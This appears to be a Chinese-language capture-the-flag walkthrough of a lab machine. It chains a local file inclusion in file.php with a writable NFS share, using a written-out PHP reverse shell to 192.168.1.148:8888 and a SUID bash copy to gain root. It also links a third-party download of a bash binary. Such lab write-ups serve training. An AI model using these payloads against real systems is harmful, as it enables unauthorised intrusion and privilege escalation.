一、信息收集
1.主机ip确认
arp-scan -l
![](https://i-blog.csdnimg.cn/direct/6bb4e36335b64d9c957cad9b488280e2.png)
2.端口扫描
nmap -T4 -sV -p- -A 192.168.1.227
这里留意一下2049端口开启的nfs服务,后续有用。
![](https://i-blog.csdnimg.cn/direct/16dd484324ec4cbf8d39b83a2ab6a43d.png)
3.目录扫描
gobuster dir -x php,bak,txt,html -w /usr/share/dirbuster/wordlists/directory-list-2.3-medium.txt -u
这里发现file.php文件
![](https://i-blog.csdnimg.cn/direct/d04a7ab6884a47cea9d4cc6efcebca4a.png)
访问发现他说这里存在文件访问(file access)
![](https://i-blog.csdnimg.cn/direct/0c7957b6954a4dc995c948b591e35869.png)
4.参数爆破
wfuzz --hw 14 -w /usr/share/wordlists/wfuzz/general/common.txt -u http://192.168.1.227/file.php?FUZZ=../../../etc/passwd
这里爆破出参数file
![](https://i-blog.csdnimg.cn/direct/8f666505924146e5bfe16a3bb85685a6.png)
二、漏洞发现和利用
1.访问http://192.168.1.227/file.php?file=/etc/passwd,可以发现web端存在文件包含漏洞
![](https://i-blog.csdnimg.cn/direct/9252df35e9e54800a0a0b026d796e601.png)
2.挂载nfs服务
NFS,全称Network File System,即网络文件系统。最大的功能是通过网络,让不同的机器、不同的操作系统可以共享彼此的文件。可以理解为本地多了一个虚拟磁盘。nfs服务的缺点之一是客户端没有用户认证机制。
showmount -e 192.168.1.227
发现靶机将/mnt/nfs目录挂出来了,并且给了所有权限 *
![](https://i-blog.csdnimg.cn/direct/ecf161e51369492d9a98feb1ec3e14d6.png)
创建目录并挂载
mkdir /mnt/nfs
mount -t nfs 192.168.1.227:/mnt/nfs /mnt/nfs
![](https://i-blog.csdnimg.cn/direct/047438fab73346dda88d936f25948279.png)
找到第一个flag
![](https://i-blog.csdnimg.cn/direct/94cec6234e4541a1bd33b3b1fbbf7910.png)
3.利用nfs进行文件上传,实现反弹shell
写一个php的脚本,并进行端口监听。然后利用web端的文件包含漏洞进行访问执行
![](https://i-blog.csdnimg.cn/direct/48422bb2b2bc47b882526853387f396c.png)
php脚本
<?php
// 定义目标 IP 和端口
$ip = '192.168.1.148'; // 替换为你的监听机器 IP
$port = 8888; // 替换为你的监听端口
// 构造 Bash 反弹 Shell 命令
$command = "bash -c 'bash -i >& /dev/tcp/{$ip}/{$port} 0>&1'";
// 执行命令
shell_exec($command);
?>
![](https://i-blog.csdnimg.cn/direct/5245191906e44e33b9162a8b4b8e5075.png)
三、提权
1.利用nfs提权漏洞进行提权,命令:cp /bin/bash . 、chmod u+s bash,chmod +x bash然后在靶机中通过./bash -p来实现提权至root,我这里是因为kali的bash太高,导致提权失败。
![](https://i-blog.csdnimg.cn/direct/b48a4ba6d7de4030826d937ff71f5269.png)
![](https://i-blog.csdnimg.cn/direct/c64f9b2076ed4e9cb466866056a55ee6.png)
我的kali的bash版本比靶机高,所以靶机运行不了
![](https://i-blog.csdnimg.cn/direct/b217843c22134886afb46ec260e662b9.png)
![](https://i-blog.csdnimg.cn/direct/47eefbc2a9e24a35931a44bb02810f94.png)
2.如果你也有我的那种问题,可以去找一个低版本的虚拟机,然后把低版本的bash文件拷出来再进行上传。
![](https://i-blog.csdnimg.cn/direct/fefb6ed10f824e0d98410602223b39b4.png)
提权后可以在root目录下找到root.txt文件,那就是最后的flag。
![](https://i-blog.csdnimg.cn/direct/c2377bb53db74263875466e88b175e91.png)
3.如果你的bash版本也高,又懒得去别的虚拟机找低版本的bash文件,那直接下载我的也行。
(我也因为这个文件卡了挺久!!!!看别人文章都不给现成文件受不鸟!)
链接: https://pan.baidu.com/s/1qcyAuwTUmNrmgUSq3Pol7Q?pwd=yucn 提取码: yucn